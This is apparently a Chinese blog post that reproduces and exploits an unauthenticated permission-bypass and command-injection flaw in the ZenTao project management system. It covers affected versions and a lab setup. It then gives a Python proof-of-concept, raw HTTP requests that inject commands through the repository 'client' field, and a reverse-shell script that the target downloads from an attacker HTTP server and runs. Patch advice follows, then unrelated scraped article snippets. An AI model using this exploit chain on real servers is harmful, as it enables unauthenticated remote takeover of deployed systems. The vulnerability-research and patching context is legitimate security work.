禅道项目管理系统RCE漏洞复现+利用

2023-10-27

 

1、漏洞概述

     禅道研发项目管理软件是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期管理。2023年1月6日,互联网披露其旧版本中存在权限绕过与命令执行漏洞,攻击者可在无需登录的情况下构造恶意请求执行任意命令,控制服务器。

2、影响范围

【影响版本】

17.4<= version <=18.0.beta1(开源版)

3.4<= version <=4.0.beta1(旗舰版)

7.4<= version <=8.0.beta1(企业版)

【安全版本】

18.0.beta2(开源版)

4.0.beta2(旗舰版)

8.0.beta2(企业版)

3、环境搭建

官网下载18.0.beta1漏洞版本(手把手教你怎么下载安装)

下载网址 

禅道下载 - 禅道开源项目管理软件

357d84eee3a5428db90a41e1080554f1.png

 点击后,一直下滑到下载链接,我这里选择的是Linux环境,点击下载即可4dfefea942774670a001add3b4676a44.png

 下载后上传到 /opt/目录下(如果系统已安装了apache和mysql服务,需要停掉,不然会跟一键安装包中的服务冲突)

   解压包

tar -zxvf ZenTaoPMS.18.0.beta1.zbox_64.tar.gz

 启动服务

/opt/zbox/zbox start

启动 Apache和Mysql服务后,浏览器直接访问 http://禅道服务器ip:apache端口,输入禅道默认的管理员账号和密码:admin,123456。即可登录使用禅道

c36a0c5bb3af4bc08229370911cea4bf.png

 

a4233310fb304bdeb74c13e0923af075.png 

8ab5e70d858c4b1596a641a159eb9cbd.png

 4、漏洞复现

   1、漏洞检测脚本POC:

# -*- coding: UTF-8 -*-
# !/usr/bin/python

'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests

proxies = {
    #"http": "127.0.0.1:8080",
    #"https": "127.0.0.1:8080",
}
def check(url):
    url1 = url+'/misc-captcha-user.html'
    # url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
    # url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
    url3 = url + 'repo-create.html'
    url4 = url + 'repo-edit-10000-10000.html'
    headers={
        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
    }

    headers2 = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
        "Content-Type":"application/x-www-form-urlencoded",
        "X-Requested-With":"XMLHttpRequest",
        "Referer":url+"/repo-edit-1-0.html"
    }

    data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
    data2 = 'SCM=Subversion&client=`id`'
    s=requests.session()
    try:
        req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
        req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
        req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
        if 'uid=' in req4.text:
            print(url,"")
            return True
    except Exception as e:
        print(e)
    return False
if __name__ == '__main__':
    print(check("http://x.x.x.x/zentao/"))

注:把里面 url替换成自己环境的

8d04e37948484384a3c40a5552d3af91.png

回显true证明漏洞存在 

2、手动复现

BP抓取首页包,携带有效cookie创建代码仓库

POST /zentao/repo-create.html HTTP/1.1
Host: your-ip
Content-Length: 113
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://your-ip
Referer: http://your-ip/zentao/repo-create.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie:zentaosid=984f74a56cc7ef44625511101014965c; lang=zh-cn; device=desktop; theme=default; tab=my; repoBranch=master; windowWidth=1187; windowHeight=658
Connection: close

product%5B%5D=22222&SCM=Gitlab&name=22222&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=aaa

3cec4fe538464af5a4573cfef4464700.png

904e7ec8232f41e39b421dd5ca568b14.png

成功创建了,构造payload实现RCE

POST /zentao/repo-edit-10000-10000.html HTTP/1.1
Host: your-ip
Content-Length: 47
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://your-ip
Referer: http://your-ip/zentao/repo-edit-1-0.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie:zentaosid=984f74a56cc7ef44625511101014965c; lang=zh-cn; device=desktop; theme=default; tab=my; repoBranch=master; windowWidth=1187; windowHeight=658
Connection: close

SCM=Subversion&client=`执行的命令`

 回显出现问题,判断不出来是否执行成功fe9cf373ac6f4049ac0ec9ebac04cabb.png

 换个方法,使用dnslog平台进行验证

e88e1bf2ba1f40b1bf42fb590199f2e8.png

 漏洞存在

5、漏洞利用

 准备直接反弹shell,没想到报错了。。。知道的大哥指点一下

0f65bcb528c0459cbdc42d2326ad717b.png

 换种方法,让目标下载恶意脚本到临时目录,

制作exp

vi 1.sh

!/bin/sh
bash -c 'exec bash -i >& /dev/tcp/x.x.x.x/6666 0>&1'

python搭建http服务器

python3 -m http.server 8000

 让目标下载恶意脚本

wget http://x.x.x.x:8000/1.sh -O /tmp/shell01.sh

a101268a55ae48d0b690f558ab49441f.png

执行恶意脚本,拿到shell

6dc5dd7e486a4d0bb7145d569357f81f.png 

 6、修复建议

1、升级到安全版本

开源版升级至 18.0.beta2 及以上版本;

企业版升级至 8.0.bate2 及以上版本;

旗舰版升级至 4.0.bate2 及以上版本

2、临时措施

  可在module/common/model.php文件中的echo $endResponseException->getContent();后面加上exit(); 来修复权限绕过漏洞。

 

 

 

 

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

禅道项目管理系统RCE漏洞复现+利用 的相关文章

  • 如何使用 PHP 对字符串进行 rot13 处理?

    我有一个很大的 php 代码 我想手动对其进行编码和解码 我的问题是 php 代码里面有很多单引号和双引号 因此我在使用时出现错误str rot13 功能如下 那么正确的语法是什么以及如何使用下面的函数进行编码 str rot13 That
  • setcookie with expire=0 浏览器关闭后不会过期

    我使用setcookie来制作一个过期 0的cookie 从 PHP 文档来看 link http php net manual en function setcookie php cookie 过期的时间 这是一个 Unix 时间戳 所以
  • 在服务器上找不到本地主机或 phpMyAdmin:如何修复?

    我按照安装说明进行操作PHP MySQL and PHPMyAdmin 但是当我尝试访问时http localhost phpmyadmin 我收到此错误 未找到 在此找不到请求的 URL phpmyadmin 服务器 然后我尝试访问loc
  • PHP MongoDb 驱动程序:如何设置执行代码的超时

    我有以下代码 它在 MongoDb 端执行一段代码 mongoCode new MongoCode Some JS code db gt execute mongoCode array socketTimeoutMS gt 1000000
  • PHP - 如何获取主要 HTML 内容,例如 Firefox 中的阅读器模式

    在 android Firefox 应用程序和 safari iPad 中 我们只能通过 阅读器模式 阅读主要内容 阅读更多 http support mozilla org en US kb how enable reader mode
  • PHP:读取所有传入 HTTP 请求的类 [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • PDO PHP 连接,致命错误

    我的连接类 firstcode php class DB functions public db function construct try db new PDO mysql localhost dbname xxx charset ut
  • PHP 中标头的使用

    非常简单的问题 这两个 PHP 版本 5 标头调用中哪一个是 最好的 header Not Modified true 304 header HTTP 1 1 304 Not Modified 我很确定第一个是最多价的 但只是好奇如果在 H
  • Laravel Vue 组件只能传递数字?

    在我的 UserMenu vue 中我写道 export default props nameVal data return 并在blade php中
  • 通过互联网IP地址从一台计算机访问xampp到另一台计算机

    我试图从另一台计算机访问我的 xampp 它显示为禁止错误 然后我在 google 上搜索答案 因为他们告诉在 apache 文件夹中的 httpd conf 文件中更改一些设置 如下所示 Order Deny Allow Deny fro
  • 如何在 Windows 上安装 Zend 框架

    安装 Zend Framework 就是这么简单 是的 对 好吧 我正在写一本初学者的书 有一件不太详细的事情是最重要的部分 安装该死的东西 浏览了几个小时的快速入门指南后 它只说 下载 Zend 添加包含目录 bla bla 然后就完成了
  • 使用 PHP 从 Mongo 解码 JSON

    我已经看过这个线程 PHP 解码嵌套 JSON https stackoverflow com questions 3555335 php decode nested json并没有设法用它来解决我的问题 我目前正在从 Mongo 获取 J
  • 带倒计时的php循环

    假设我从 400 开始计数器 我将如何执行一个向后运行直到 0 的 foreach 循环 伪代码 i 400 foreach SOMETHING do stuff i for i 400 i gt 0 i do stuff 其他方法 i 4
  • 一次从多个表中删除行

    我正在尝试将 2 个查询合并为一个这样的查询 result db gt query DELETE FROM menu WHERE name new or die db gt error result db gt query DELETE F
  • 从 Laravel 4 输入生成新数组

    我使用 Input all 从动态生成的表单中获取一些输入 我使用 jQuery 来允许用户添加字段 字段名称为 first names last names 和 emails input 变量现在看起来像这样 array size 4 t
  • 使用PHP从doc、xls文件中读取数据

    我想知道是否可以从 doc 和 xls 文件中读取数据并将 将内容读取到图像文件中 创建文档的页面样本 例如 我有一些文件希望我的客户购买 所以我需要自动创建小图像 例如我的文档样本 我们将不胜感激您的帮助 对于读取 xls 文件 我真的推
  • 字符串相似度的算法(比Levenshtein和similar_text更好)? php, Js

    在哪里可以找到比 levenshtein 和 phpimilar text 方法更准确地评估错误字符的拼写的算法 Example similar text jonas xxjon similar echo similar returns 6
  • 使用会话 php 创建 cookie?

    我使用会话来登录我网站中的用户 问题是 我想让用户remember密码 因此关闭 打开浏览器后他们不需要再次登录 我需要使用 cookie 和 session 来实现它吗 my code user POST user pass POST p
  • Laravel 搜索关系

    我有两个相关的模型 我正在尝试在产品中进行搜索 并且仅显示实际搜索结果 而不是找到该产品的类别的所有产品 我不想搜索任何类别 因为无论搜索什么或找到什么 类别都会始终显示 Example I have the following categ
  • 如何在 PHP 5.6 中通过 php.ini 设置“verify_peer_name=false”SSL 上下文选项

    案例 我想打开 SSL 连接localhost而 SSL 证书是 FQDN 的问题 问题 没有进行特殊处理就行 下面的程序失败并显示以下消息 PHP Warning stream socket enable crypto Peer cert

随机推荐

  • Golang fasthttp 为什么你这么优秀

    最近 需要使用 http client 发送数据 网上都说 fasthttp 据说是目前golang性能最好的http库 相对于自带的net http 性能说是有10倍的提升 参考 https studygolang com article
  • Firefly AIO-3399ProC开发板刷ubuntu系统 安装rknntoolkit 1.6.0 + tensorflow 2.0 + pytorch 1.5.0

    AIO 3399Pro刷ubuntu系统同时配置rknntoolkit 1 6 0 环境 由于本人所做项目需要将轻量级的深度学习算法进行部署 故前些日子购买了核心板为RK3399的深度学习开发板 用起来固然没有NVIDIA的jetson开发
  • chatgpt赋能python:建立Python开发环境的详细指南

    建立Python开发环境的详细指南 对于想要成为一名Python开发工程师的人来说 建立一个良好的开发环境是非常重要的 在安装和配置Python的过程中 您可能会遇到许多问题 并可能会出现错误 但是 请不要担心 因为这篇文章提供了一份详细的
  • keepalived高可用实战与Nginx负载均衡视频教程

    微技术 学无止境 一个专注于分享各种教程 技术 文章 分享等资源 为大家的工作 学习 提供便利 前言 大家好 我是微技术 今天给大家分享一款推荐负载均衡的学习教程 让你架构技术更加提高一点 更多深入一些技术 视频教程 keepalived
  • android 动态数据抓取,mitmproxy抓取Keep热门动态-安卓APP抓包爬虫案例

    使用mitmproxy来抓取Keep首页热门动态 鳄鱼君也是费了一天的时间去测试 在这里需要提醒大家抓包不要使用Android系统超过7 0的手机 Android系统越高手机越安全 而我们的抓包很显然是不允许的 这就是为什么你在配置了手机证
  • ajax与javascript,jquery, jquery UI

    ajax就是使用javascript语言实现的一种与服务器异步通信的方式 其核心是xmlhttprequest 像谷歌地图这种应用 如果点击某个点 需要重新刷新页面的话 用户体验很不好 这样的场所使用ajax就非常的方便 jQuery是一个
  • css媒体查询改变上边距,html - CSS宽度和边距不会与媒体查询相加

    我正在建立一个博客布局 目标是以窗口为中心 以最大宽度和最小边距为窗口 以内容为中心 我使用max width和媒体查询的组合来设置一定阈值的边距 我试着把max width和fixedmargin left和margin right放在一
  • go get & go mod找不到包问题解决

    问题一 今天在云虚机中遇到了go get执行报错的问题 报错内容如下 试了ping百度正常 说明不是DNS的问题 执行go mod tidy同样报错 最后找到问题 将GOPROXY由https proxy golang org改为了http
  • SpringBoot:自动装配提速设计

    名词约定 配置类 指使用了 Configuration Component ComponentScan Import ImportResource Bean的类 SpringBoot的设计思想就是通过一个配置类导入多个项目范围内适用的配置类
  • 《零基础入门学习Python》第087讲:Pygame:播放声音和音效

    这节课我们来谈谈 Pygame 中的 播放声音和音效 因为几乎没有任何游戏是一声不吭的 多重的感官体验更能刺激玩家的神经 没有声音的游戏就好比 不蘸番茄的薯条 尽管如此 Pygame 对于声音的处理并不是太理想 我说的是如果你想用 Pyga
  • 线性代数学习笔记——行列式的性质及拉普拉斯定理——11. 拉普拉斯定理

    这节如果不看教学视频而只看PPT的话 很难理解 这充分说明了老师的重要性 1 拉普拉斯 Laplace定理 2 基本结论 三角 对角分块矩阵行列式的计算 3 拉普拉斯定理的应用示例 求行列式 4 分块矩阵的逆的求解
  • ansible批量添加用户账户密码

    一 批量添加root用户以及密码 首先批量添加root 账号密码 不用ssh copy id root ip地址 因为如果ip比较多的情况下 ssh脚本添加会特别的麻烦 步骤1 首先要配置ansible清单 远程主机的密码这里为 12345
  • Idea上传已有项目到git

    开发经常遇到的问题是开发初期没有建立GIT仓库 开发一段时间后 需要将已有代码上传到Git 怎么将已有项目与新建的Git仓库相关联呢 借助Idea可以轻松实现 1 首先使用Git命令行 git clone XXXXX git 将项目下载 2
  • JAVA控制台输出格式

    public class PrintFormat public static void main String args Console print format System out printf format args format为指
  • Python键鼠操作自动化库PyAutoGUI简介

    PyAutoGUI是一个Python语言的键鼠自动化库 简单来说和按键精灵的功能一样 但是因为是Python的类库 所以可以使用Python代码配合一些其他类库完成更加强大的功能 下面让我为大家介绍一下吧 安装 从pip安装即可 pip i
  • 【threejs 】添加标签和射线

    three 添加标签 应用 上一篇文章我们说了世界坐标和屏幕坐标的准换那么有什么应用呢 应用 可以实现该效果 鼠标移动该模块的时候展示该模块的标签 或者可以常显 射线就是当鼠标移动到该模块该模块变化颜色 创建一个标签js文件作为封装的方法
  • 深入理解文字高度和行高的设置

    font size设置的是什么 line height设置的是什么 各种行高是怎么计算出来的 你真的知道吗 1 从font size讲起 说文字高度 当你按住鼠标左键选中一段文字的时候 这段文字背后会有一个颜色变化的区域 这个区域可以近似的
  • 零基础开发WIFI设备(esp8266)

    目录 前言 一 本例程实现功能 二 Core提供的TCP功能介绍 三 接线图 四 材料清单 五 完整代码 通过IP地址和服务器建立连接 代码运行结果 前言 shineblink core 开发板 简称Core 的库函数支持WIFI功能 所以
  • 将websocket通信端口代理到TCP通信端口的方法记录

    websocketproxy代理服务基于go语言实现 功能描述 Proxy of gateway Websockt transfer TCP protocol Websocket gt TCP TCP gt Websocket 即 实现将w
  • 禅道项目管理系统RCE漏洞复现+利用

    1 漏洞概述 禅道研发项目管理软件是国产的开源项目管理软件 专注研发项目管理 内置需求管理 任务管理 bug管理 缺陷管理 用例管理 计划发布等功能 实现了软件的完整生命周期管理 2023年1月6日 互联网披露其旧版本中存在权限绕过与命令执